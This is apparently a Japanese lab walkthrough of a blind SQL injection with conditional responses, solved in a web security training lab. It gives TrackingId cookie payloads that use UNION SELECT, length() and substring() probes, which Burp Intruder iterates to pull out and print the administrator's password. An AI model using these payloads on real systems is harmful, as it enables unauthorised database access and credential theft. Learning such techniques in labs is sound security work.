Hello there, ('ω')ノ
条件付きレスポンスを使用したブラインドSQLインジェクションを。
このラボには、ブラインドSQLインジェクションの脆弱性があって。
トラッキングCookieを使用しSQLクエリを実行して。
SQLクエリの結果は返されず、エラーメッセージも表示されず。
まずは、ページにアクセスして。
リクエストをリピータへ。
下記のように適当に変更してレスポンスの違いを確認すると。
Welcomeのリンクが表示されず。
TrackingId=123;
下記の条件式だとWelcomeは表示されて。
TrackingId=x'+or+1=1--;
下記の条件式だとWelcomeは表示さず。
TrackingId=x'+or+1=2--;
下記のSQL文でテーブルの存在を確認して。
TrackingId=x'+UNION+SELECT+'a'+FROM+users+where+username='administrator'--;
次に下記のSQL文でパスワードの長さを確認することに。
TrackingId=x'+UNION+SELECT+'a'+FROM+users+where+username='administrator'+and+length(password)>1--;
パスワードの文字長が20を超えるとWelcomeのリンクが表示されないので。
パスワードは20文字だとわかって。
TrackingId=x'+UNION+SELECT+'a'+FROM+users+where+username='administrator'+and+length(password)>20--;
次にリクエストをIntruderへ。
下記のSQL文で、パスワードの文字位置を回しながら一文字ずつ検証することに。
TrackingId=x'+UNION+SELECT+'a'+FROM+users+where+username='administrator'+and+substring(password,1,1)='a'--;
まずは、パスワードの文字数が20なので、1~20までの設定を。
パスワードの文字を小文字の英字と数字にしぼって設定を。
レスポンスにWelcomeのリンクがあるかの判定をいれて、Start attackをすると。
20文字がヒットして、パスワードを並べると下記のとおりとなって。
kxz59b9bifhf1bjq6ngw
ログインしてみると。
クリアできた。
Best regards, (^^ゞ